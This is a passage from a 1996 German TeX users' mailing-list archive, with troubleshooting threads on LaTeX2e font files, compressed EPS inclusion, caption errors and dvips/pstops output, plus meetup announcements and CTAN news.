TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Tue, 18 Jun 1996 15:32:17 +0100 Subject: Font at12.tfm gesucht (Latex2e 12/01/1995) Hallo! Wie schon aus dem Subject ersichtlich sucht meine neue LaTeX-Version immer nach einem atxx-Font. Ich bin sicher, da"s ich w"ahrend der Installation irgendeinen dummen Fehler gemacht habe. Nur leider wei"s ich nicht welchen. Ich w"are froh, wenn mir irgendjemand einen Tip geben k"onnte. Ich benutze TeX 3.14159 (C Version 6.1) und LaTeX2e vom 01.12.1996 Tsch"u"s und Danke sagt Nils -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany Warum werden die Gr"unen mit Schnittlauch nilsb@reality.owl.de verglichen? Naja, au"sen Gr"un, innen Hohl und treten immer Geb"undelt auf! _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 08:50:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 19 Jun 1996 08:50:46 +0200 Subject: Re: Font at12.tfm gesucht (Latex2e 12/01/1995) Nils Bokermann hat folgendes Problem: : Wie schon aus dem Subject ersichtlich sucht meine neue LaTeX-Version : immer nach einem atxx-Font. Ich bin sicher, da"s ich w"ahrend der : Installation irgendeinen dummen Fehler gemacht habe. Nur leider wei"s : ich nicht welchen. : : Ich w"are froh, wenn mir irgendjemand einen Tip geben k"onnte. : : Ich benutze TeX 3.14159 (C Version 6.1) und LaTeX2e vom 01.12.1996 Scheint wohl so als ob eine Angabe wie cmr10 at 12pt irgendwo verstuemmelt als 12pt steht. Da LaTeX2e die Fontbeschreibungen (= Zuordnung eines relativ abstrakten Tupels Encoding/Family/Series/Shape/Size auf den Namen eines "realen" Fonts) in sogenannten .fd-Files abgelegt hat, die beim Installieren/Entpacken aus den .fdd-Files extrahiert werden, solltest du dir einmal die Dateien OT1cmr.fd (fuer die Standard-Brotschrift) OMLcmm.fd+OMScmsy.fd (fuer die Matheschriften) ansehen, ob diese korrekt ausgepackt wurden. Da die Angabe "at XXpt" normalerweise ueber Makros generiert wird (in den .fd-Files steht nur ein "... gen * ..."), kann auch noch das File "latex.ltx", das den notwendigen Code enthaelt, fehlerhaft generiert worden sein. Einfach mal durchsehen, ob z.B. ueberlange Zeilen auftauchen, ob der Kommentar soweit korrekt formatiert erscheint oder ob der (fuer die meisten wohl unverstaendliche) Code korrekt eingerueckt ist u.ae. Wenn nicht, lief das Entpacken schief. Ein haeufiges Problem sind dabei die unterschiedliche Markierung der Zeilenenden unter z.B. Unix, MS-DOS und Mac. Je nachdem, kann es dann gleich beim Entpacken zu einem Fehler kommen oder das Entpacken ging gut, aber das Ergebnis, die entstandenen Makrodateien, sind voellig unbrauchbar (lange Zeilen, falsch plazierte Kommentare, an falschen Stellen umbrochene Makros, etc.). -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 28.07.-01.08.96: TUG'96 in Dubna (Russland) ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 08:53:40 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Berend van der Wall Date: Wed, 19 Jun 1996 08:53:36 +0200 Liebe LaTeX/TeX-Experten, ich hab' mal wieder ein kleines Problemchen. Im folgender Demo-Datei habe ich mir ein neues Kommando erstellt (\psfig), das komprimierte eps-Dateien verarbeiten sollte: \documentclass[12pt,a4paper]{article} \usepackage{a4} \usepackage{german} \setlength{\textwidth}{17cm} \setlength{\oddsidemargin}{-5mm} \setlength{\evensidemargin}{-5mm} \newcommand{\psfig}[8]{ \begin{figure}[htbp] \vspace{#1} \mdqoff \special{psfile="`zcat #2.ps.Z" hoffset=#3 voffset=#4 hscale=#5 vscale=#6} \mdqon % \special{psfile=#2.ps hoffset=#3 voffset=#4 hscale=#5 vscale=#6} \caption{\parbox[t]{145mm}{#7}} \label{#8} \end{figure} } \begin{document} Text Abb.~\ref{Label}. \psfig{33mm}{dlr}{100}{0}{100}{100}{Caption-Text.}{Label} \end{document} Die \mdqoff und \mdqon sind wegen \usepackage{german} erforderlich, da im \special die " vorkommen. Leider klappt das nicht so wie gedacht: $ latex demo This is TeX, Version 3.1415 (C version 6.1) (demo.tex LaTeX2e <1995/06/01> patch level 3 (/usr/local/lib/tex/inputs/latex/base/article.cls Document Class: article 1995/06/26 v1.3g Standard LaTeX document class (/usr/local/lib/tex/inputs/latex/base/size12.clo)) (/usr/local/lib/tex/inputs/a4.sty) (/usr/local/lib/tex/inputs/german.sty Package `german', Version 2.5c of 96/05/01.) (demo.aux) ! Undefined control sequence. \save@sf@q ... \the \spacefactor }\else \let \@SF \empty \fi \leavevmode #1\... l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? ! Undefined control sequence. \save@sf@q ... \@SF \empty \fi \leavevmode #1\@SF } l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? ! Argument of \@caption has an extra }. \par l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? Runaway argument? \@captype {\write \@auxout {\string \@writefile {\csname ext@\@captype \ETC. ! Paragraph ended before \@caption was complete. \par l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? [1] (demo.aux) ) Output written on demo.dvi (1 page, 740 bytes). Transcript written on demo.log. Verwende ich dagegen die kommentierte Zeile mit dem \special (dann muessen die eps-Dateien unkomprimiert vorliegen) und ohne die \mdqoff, \mdqon - Konstruktion, so klappt alles einwandfrei. Was mache ich falsch? Mit freundlichen Gruessen, Berend van der Wall. _______________________________________________________________________________ Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V. Institut fuer Flugmechanik Berend van der Wall Postfach 32 67 Tel: +49 531 295 2849 38022 Braunschweig Fax: +49 531 295 2641 Deutschland Email: vdwall@fm.bs.dlr.de _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 09:17:37 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Berend van der Wall Date: Wed, 19 Jun 1996 09:17:30 +0200 Subject: Ergaenzung meiner Frage... Oha, da hatte ich doch was uebersehen. Also, die Verwendung des \special ohne die \mdqoff und \mdqon-Konstruktion ist auch nicht ganz astrein: $ latex demo This is TeX, Version 3.1415 (C version 6.1) (demo.tex LaTeX2e <1995/06/01> patch level 3 (/usr/local/lib/tex/inputs/latex/base/article.cls Document Class: article 1995/06/26 v1.3g Standard LaTeX document class (/usr/local/lib/tex/inputs/latex/base/size12.clo)) (/usr/local/lib/tex/inputs/a4.sty) (/usr/local/lib/tex/inputs/german.sty Package `german', Version 2.5c of 96/05/01.) (demo.aux) ! Argument of \@caption has an extra }. \par l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? Runaway argument? \@captype {\write \@auxout {\string \@writefile {\csname ext@\@captype \ETC. ! Paragraph ended before \@caption was complete. \par l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} ? [1] (demo.aux) ) Output written on demo.dvi (1 page, 356 bytes). Transcript written on demo.log. $ ... aber das Ergebnis nach dvips ist ok. Was ist falsch? Mit freundlichen Gruessen, Berend van der Wall. _______________________________________________________________________________ Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V. Institut fuer Flugmechanik Berend van der Wall Postfach 32 67 Tel: +49 531 295 2849 38022 Braunschweig Fax: +49 531 295 2641 Deutschland Email: vdwall@fm.bs.dlr.de _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 09:23:09 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 19 Jun 1996 09:22:43 +0200 Berend van der Wall schreibt: : ich hab' mal wieder ein kleines Problemchen. Im folgender Demo-Datei habe : ich mir ein neues Kommando erstellt (\psfig), das komprimierte eps-Dateien : verarbeiten sollte: [... LaTeX2e-Beispiel ...] Ich wuerde einfach raten, das LaTeX2e `graphics'-Package zu verwenden. Das ist a) Standard, b) wird aktiv unterstuetzt und c) kann (fast) alles, was man sich so wuenschen koennte. Wozu sich mit eigenen Definitionen herumschlagen, wenn es andere schon getan haben? :-) : Die \mdqoff und \mdqon sind wegen \usepackage{german} erforderlich, da im : \special die " vorkommen. [...] Da kann ich nur sagen: Wenn man mit \catcode spielt (und das machen \mdqoff und \mdqon), sollte man wissen, was man tut -- oder seine Finger davon lassen. Loesungen: a) \mdqoff \newcommand{\test}[8]{% ... \special{psfile="`zcat ..." ...}% ...} \mdqon oder unabhaengig davon, ob nun `german' geladen ist oder nicht: b) \newcommand{\test}[8]{% ... \special{psfile=\string"`zcat ...\string" ...}% ...} -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 28.07.-01.08.96: TUG'96 in Dubna (Russland) ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 09:27:55 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 19 Jun 1996 09:27:54 +0200 Subject: Re: Ergaenzung meiner Frage... Berend van der Wall meinte noch, dass : : Oha, da hatte ich doch was uebersehen. Also, die Verwendung des : \special ohne die \mdqoff und \mdqon-Konstruktion ist auch nicht ganz astrein: aber [...] : ! Argument of \@caption has an extra }. : : \par : l.20 ...r}{100}{0}{100}{100}{Caption-Text.}{Label} : : ? : Runaway argument? : \@captype {\write \@auxout {\string \@writefile {\csname ext@\@captype \ETC. : ! Paragraph ended before \@caption was complete. [...] zeigt, dass \mdqoff und \mdqon hier komplett _un_schuldig sind ("Im Zweifel fuer die Angeklagten!" :-), denn... \protect a _fragile_ command (e.g. \parbox) inside the moving argument of another command (e.g. \caption). Da \parbox optionale Argument hat (und es nicht schon intern \protect'ed wird), muss man es innerhalb des Arguments von \caption als \protect\parbox{...} verwenden. Kleiner Tip: mit dem `caption(2)'-Package kann man sehr einfach das Layout der Bildunterschriften anpassen. (CTAN: macros/latex/contrib/ supported/caption/) -bernd Zum Vormerken: 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg 28.07.-01.08.96: TUG'96 in Dubna (Russland) ==> mehr Infos ueber http://www.dante.de/dante/Tagungen.html ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 10:32:03 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Wed, 19 Jun 1996 10:32:11 +0200 Subject: Re: Ergaenzung meiner Frage... > Ich wuerde einfach raten, das LaTeX2e `graphics'-Package zu > verwenden. Das ist a) Standard, b) wird aktiv unterstuetzt und > c) kann (fast) alles, was man sich so wuenschen koennte. > Wozu sich mit eigenen Definitionen herumschlagen, wenn es andere schon > getan haben? :-) Zudem gibt es dazu eine hervorragende Dokumentation, Keith Reckdahls 'Using EPS Graphics in LateX2e Documents'; zu finden auf ftp.dante.de in /tex-archive/info/epslatex.ps. Die aktuelle Version ist vom 11. Juni. Fuer das spezielle Problem von Berend van der Wall empfehle ich den Abschnitt 8.1, 'Compressed EPS Example'. > Zum Vormerken: > 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg Jawoll, habe ich mir gemerkt ;-) Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Wed Jun 19 10:58:20 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Wed, 19 Jun 1996 10:58:41 +0200 Subject: Re: Ergaenzung meiner Frage... Reinhard Zierke (zierke@informatik.uni-hamburg.de) schrieb am 19.6.1996, 10:32:11 > > Zum Vormerken: > > 10.10.-11.10.96: 15. Mitgliederversammlung von DANTE e.V. in Hamburg > > Jawoll, habe ich mir gemerkt ;-) na, dann muss ich es ja nicht mehr separat ankuendigen ;-) mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jun 19 17:48:28 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Wed, 19 Jun 1996 17:12:45 +0200 Subject: Re: Ergaenzung meiner Frage...(compressed *.eps) Tja, da habe ich eine Zusatzfrage: 1) Bei mir klappt das mit dem epsbb und dem Anlegen der komprinmierten Dateien sehr gut, solange ich die eps.gz-Dateien im selben Verzeichnis halte, wie die *.tx, *.dvi etc -Dateien. Nun nutze ich viele Grafiken in sehr vielen erschiedenen Dokumenten und habe mir daher einen Sammlung von solchen Dateien in einem standard-verzeichnis zugelegt. Sonage ich die *.eps-Dateien nicht komprimiert hatte, lief alles problemlos (mit teTeX und dvips unter Linux). Ich hatte nur den Pfad r die eps-Dateien entsprechend in $TEXMF "einzuklinken" und dann wurden die *e.ps-dateinen ohne angabe des dateinamens mit \includegraphics[width=2cm]{bild.eps} sowohl von teTeX als auch vom dvips verarbeitet (sobald ich usepackage{graphicx} gewaehlt hatte, selbsredend) wenn ich nun zur eps.gz-Variante uebergehe, dann kommt teTeX (LaTeX2e) mit den *.bb-dateien in meinem Standard-Grafik-Verzeicghnis zurecht, NUR der dvips findet keinen Weg um gunzig zu sagen, WO die *.eps.gz-Dateien sind. Sind sie im aktuellen verzeichnis, so ist alles paletti... Ich wuesste gerne eine Loesung, denn die vielen symbolischen Links sind nicht so gut... Wer hat einen Tip.. Gruesse -KB ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From owner-tex-d-l@VM.GMD.DE Wed Jun 19 16:24:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Wed, 19 Jun 1996 16:25:16 +0100 Subject: Re: Font at12.tfm gesucht (Latex2e 12/01/1995) Sieht nach einer fehlerhaften (besser: unpassenden) fonttext.cfg bzw. fontmath.cfg aus. Dieses Problem tritt im besonderen mit alten cfg-Dateien zur Sauter-Verteilung ein, aktuelle cfg-Dateien befinden sich dazu auf den CTAN-Archiven. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Wed Jun 19 18:14:55 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Ralph J. Hangleiter" Date: Wed, 19 Jun 1996 17:33:18 +0200 Subject: \Box in 2\epsilon Trotz \documentclass[leqn]{article} \usepackage{amsfonts} \usepackage{amssymb} kennt TeX den Befehl \Box nicht. Nach Einbinden von 'latexsym' geht's. In der wahrscheinlich bekannten Symbol"ubersicht symbols.dvi (irgendwo in dante/info/) hei"st es aber folgerdermassen: \Box* und * = not predefined in LaTeX2\epsilon, use one of the packages latexsym, amsfonts, amssymb. Wat is denn nun falsch? gruss ralph PS: 2:2 heute abend - wer bietet mehr? ------------------------------------------------------------------------- Ralph J. Hangleiter PGP-key Brueder-Grimm-Allee 57 hangleit@math.uni-goettingen.de available D-37075 Goettingen, Germany http://www.num.math.uni-goettingen.de/hangleit/ (+49) 551 54 16 09 From owner-tex-d-l@VM.GMD.DE Wed Jun 19 18:06:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench Date: Wed, 19 Jun 1996 17:39:18 +0200 Subject: Einladung zum Juni-TeX-Stammtisch in Koeln Hallo! Ich m"ochte Euch zum n"achsten (wieder regul"aren) TeX-Stammtisch/Workshop in K"oln einladen. Der n"achste Termin ist der 25.6.1996, 20 Uhr. Hier nochmal die wichtigsten Infos zum n"achsten Stammtisch-Treffen im Juni: Datum und Zeit Di, 25. 6. 1996, 20 Uhr Geplante Themen (u.a.): - Uwe M"unch: Einbinden, skalieren und rotieren von Graphiken - Uwe M"unch: TeX und Farbe: das color-Paket Der urspr"unglich geplante Vortrag von Ulrich Villers zum Thema 'Wie schreibe ich meine eigenen Styles?' wird auf einen sp"ateren Termin verschoben. Ort Seminarraum des ZPR (Zentrum f"ur Paralleles Rechnen) Weyertal 80 50931 K"oln Der Seminarraum befindet sich im Keller links. Sonstiges Die Teilnahme an den Treffen ist nicht beschr"ankt, eine Anmeldung erfolgt nicht. WICHTIG: Bei den Veranstaltungen besteht kein Versicherungsschutz! Stammtisch-Leiter K"oln Uwe M"unch, Tel. (privat): +49-2203-87111, E-mail muench@ph-cip.uni-koeln.de Der K"olner TeX-Stammtisch findet jeden 4. Dienstag im Monat um 20 Uhr im ZPR statt. Genauere Informationen befinden sich im WWW unter der URL http://www.uni-koeln.de/themen/texmf/lokal/termine.html#stammtisch MfG, Uwe M"unch ------------------------------------------------------------------------------ Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koeln.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-5372 "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From owner-tex-d-l@VM.GMD.DE Thu Jun 20 08:50:44 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Thu, 20 Jun 1996 08:50:53 +0200 Subject: Re: Probleme mit dvips und pstops Leo Broska schreibt: > Kann man dvipsk 5.58f irgendwie sagen, korrekteren Output zu erzeugen? Oder > l"asst sich der Umweg "uber pstops und psbook irgendwie vermeiden? Es w"urde vielleicht schon helfen, dvips dazu zu bringen, die Kommentare wieder einzubauen, von denen die erste Zeile Deiner PostScript-Datei redet. Vermutlich braucht pstops sie, um festzustellen, wo Seiten anfangen und aufh"oren usw. Dazu gibt es eine Kommandooption (`-N0' oder so) oder einen Eintrag namens `N' in der Konfigurationsdatei, welcher auskommentiert sein sollte. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de But automobiles have been named after spreadsheets for a long time. Look at Lotus, Hyundai Excel, Audi Quattro, ... --- Dave Perks From owner-ctan-ann@SHSU.edu Thu Jun 20 11:11:35 1996 Sender: owner-ctan-ann@SHSU.edu From: David Carlisle Reply-To: David Carlisle Date: Thu, 20 Jun 1996 10:04:10 +0100 Subject: June LaTeX release. The LaTeX3 project is pleased to announce the June 1996 LaTeX release. The `base' `tools' `graphics' and `mfnfss' distributions have all been updated. The files were updated at yesterday (19th June) at ftp.dante.de and overnight at ftp.tex.ac.uk. It may take a day or so for the update to propagate to all the ctan mirrors. As usual a one page `newsletter', ltnews05.tex, accompanies the release and describes the main updates. David -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Thu Jun 20 11:16:16 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Thu, 20 Jun 1996 11:16:45 +0200 Subject: June LaTeX release. (fwd) Forwarded message: From owner-tex-d-l@VM.GMD.DE Thu Jun 20 14:58:49 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Thu, 20 Jun 1996 14:59:04 +0200 Subject: Demise of SHSU as a CTAN node (fwd) Hallo, ich leite eine traurige Mitteilung vom Ableben eines CTAN-Backbones weiter: From: Robin Fairbairns Date: Thu, 20 Jun 1996 12:13:01 +0100 As most people will be aware, what remains of the CTAN team (in the UK and Germany) has been struggling for some time to maintain ftp.shsu.edu as a CTAN node. In the last few weeks, the machine on which the archive operates has run out of disc space, has increasingly been unable to accept ftp connections or to perform simple commands such as `dir' on established connections, and finally, now, has ceased to accept the CTAN management commands that we send it. We have reluctantly, therefore, concluded that we can no longer continue to claim that ftp.shsu.edu is part of the Comprehensive TeX Archive Network (CTAN). The CTAN mailing lists (ctan@shsu.edu and ctan-ann@shsu.edu) will continue to be supported by SHSU, at least for the time being. We are painfully aware that the demise of SHSU leaves the North American continent without a CTAN node. We are urgently seeking potential CTAN sites in North America, and have had a some responses but no firm offers to start an archive immediately. Offers to host a new North American CTAN node, or suggestions for corporate support for machines for some of our existing offers are extremely welcome: please either reply to this message, or mail to the list ctan@shsu.edu At present, there is only one CTAN mirror in North America that we know to be a copy of one of the remaining CTANs (ftp.cdrom.com). Mirror managers whose site mirrors ftp.shsu.edu are invited to contact the mailing list ctan@shsu.edu as soon as possible, so that alternative arrangements can be made. Robin Fairbairns For the CTAN team Gruss, Reinhard -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Wed Jun 19 16:09:37 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Wed, 19 Jun 1996 16:09:02 -6000 Subject: Probleme mit dvips und pstops Hallo TeXpertInnen! Bisher habe ich A5-Booklets erzeugt, indem ich mit dvips verkleinerte, einzelne Postscript-Seiten erzeugt habe, die ich dann mit pstops arangiert und mit psbook richtig sortiert habe. Das funktionierte auf meienr alten Maschine prima: dvips in version 5.58 produzierte sauberen PS-Output, der so beginnt: %!PS-Adobe-2.0 %%Creator: dvips 5.58 Copyright 1986, 1994 Radical Eye Software %%Title: adel_art.dvi %%CreationDate: Wed Jun 19 15:52:41 1996 %%Pages: 6 %%PageOrder: Ascend %%BoundingBox: 0 0 596 842 %%EndComments %DVIPSCommandLine: dvips -x 707 adel_art.dvi %DVIPSParameters: dpi=300, comments removed %DVIPSSource: TeX output 1996.06.19:1546 %%BeginProcSet: tex.pro /TeXDict ... Auf einem neuen Rechner l"auft dvips in der Version "This is dvipsk 5.58f ..." Der dortige Output ist ganz unstandartisiert und kann von pstops nicht verarbeitet werden: %!PS (but not EPSF; comments have been disabled) %DVIPSCommandLine: dvips -x 707 adel_art.dvi %DVIPSParameters: dpi=300, comments removed %DVIPSSource: TeX output 1996.06.19:1546 /TeXDict ... Kann man dvipsk 5.58f irgendwie sagen, korrekteren Output zu erzeugen? Oder l"asst sich der Umweg "uber pstops und psbook irgendwie vermeiden? Danke f"ur jede Hilfe! Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Sat Jun 22 08:36:10 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Torsten Eymann Date: Sat, 22 Jun 1996 08:36:37 +22282143 Subject: PLAIN in Table of Contens Hi ... Habe mein Dokument mit Headings formatiert. Die Kapitelseiten mit /thispagestyle{empty} gesaeubert. Jedoch die 1. Seiten von Table of Contens und andere automatische Verzeichnisse bleiben auf der Formatierung PLAIN ?!?! Ueberschreiben mit \let\ps@plain=\ps@empty wid nicht als Kommando anerkannt und erscheint im Text?? Schreibe mit LYX07.. und kann wegen Formatierungsproblemen nicht auf neuere Versionen umsteigen (ca. 85 Seiten). Mein vi kommt mit der Dateigroesse nicht mehr klar, kann also nicht auf TEX runtergehen. Wie gehts weiter, und wer kann helfen ?? Danke Torsten From owner-tex-d-l@VM.GMD.DE Sun Jun 23 05:05:20 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Volker Huettenrauch Date: Sat, 22 Jun 1996 19:04:00 +0200 Subject: TeX-Stammtisch in Hamburg Moin TeXniker in Hamburg und Umgebung, der naechste TeX-Stammtisch in Hamburg findet am Mittwoch 26.6.96 um 18 Uhr BeiThemi/ Xenios in der Osterstr. 46 statt. Mit dem OePNV kann man es wie folgt erreichen: Schulweg: 113 und 182 Wir hoffen, dass zu diesem Zeitpunkt wieder reichlich TeXniker zum Treffen kommen. MfG Volker From owner-tex-d-l@VM.GMD.DE Mon Jun 24 08:34:24 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 24 Jun 1996 08:34:26 +0200 Subject: Re: PLAIN in Table of Contens Torsten Eymann schreibt: : Habe mein Dokument mit Headings formatiert. Die Kapitelseiten : mit /thispagestyle{empty} gesaeubert. Jedoch die 1. Seiten von : Table of Contens und andere automatische Verzeichnisse bleiben : auf der Formatierung PLAIN ?!?! : : Ueberschreiben mit \let\ps@plain=\ps@empty wid nicht als Kommando : anerkannt und erscheint im Text?? Kontrollwoerter, wie \ps@plain, die im Namen einen Nicht-Buchstaben wie das At-Zeichen @ haben, sind "intern". Auf diese Kontrollwoerter kann und soll der "normale" Benutzer nicht so ohne weiteres zugreifen koennen, damit er sich nicht den "Boden unter den Fuessen wegzieht". LaTeX verwendet meist das At-Zeichen fuer die internen Bezeichner. Um Kontrollwoerter mit @ zu aendern oder zu definieren, muss man diese im Dokument (am besten nur im Dokumentkopf!) mit \makeatletter ...verwende Bezeichner mit @... \makeatother (entspricht "mache @ zu einem normalen Buchstaben ... und dann wieder zu einem simplen Zeichen") einschliessen oder man schreibt diese, diesmal __ohne__ \makeatletter/-other in eine .sty-Datei, die man mit \usepackage laedt. -bernd From owner-tex-d-l@VM.GMD.DE Mon Jun 24 10:31:49 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Mon, 24 Jun 1996 10:32:04 EDT Subject: TeX-Stammtisch in Berlin Liebe TeXnikerInnen, der TeX-Stammtisch in Berlin trifft sich wieder am letzten Donnerstag im Monat (27. Juni 1996) 19.00 Uhr in der Gaststaette "Baerenschaenke" Naehe U-Bahnhof Oranienburger Tor. Alle, die Interesse an TeX, LaTeX, Postscript und anderen aehnlichen Dingen haben, sind herzlich eingeladen. Rolf Niepraschk .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: (030) 3481 316, Fax.: (030) 3481 490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Mon Jun 24 20:33:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Kees van der Laan Date: Mon, 24 Jun 1996 20:34:55 +0200 Subject: Announcement NTG TeX & Graphics course ---------------------------------------------------------- |Announcement NTG's one-day low-budget no-nonsense course| | | | (La)TeX and Graphics | ---------------------------------------------------------- What? MetaPost, PostScript, mftoeps... (no font design) Language? English Teacher? Boguslaw Jackowksi Where? University of Utrecht When? The day before *or* after NTG's fall meeting of 24 Oct. (To be announced late August) Costs? Fl 50 members of NTG or other LUGs; non-members Fl 150 Subsription? Treasurer NTG, Giro 1306238, Eindhoven (Do mention TeX and Graphics course) Information? Kees van der Laan, cgl@rc.service.rug.nl Literature? Jackowksi's METAFONT booklet will be in English available. Have a look at Hobby's CSTR 162, A user manual for MetaPost, from netlib@research.att.com with message send 162 from research/cstr or copy it from NTG's 4AllTeX CD-ROM When the number of subscriptions is insufficient of 7 September---ultimate date for registration--- the course will be cancelled (and money refunded). ---Kees--- Sent to: TeXhax@tex.ac.uk (earlier Dutch announcement to tex-nl@nic.surfnet.nl) cc: TeX-D-L@vm.gmd.de, gut@ens.fr, uktex@tex.ac.uk, metafont@ens.fr, TUG@TUG.org, info-tex@shsu.edu From owner-tex-d-l@VM.GMD.DE Tue Jun 25 02:14:14 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX 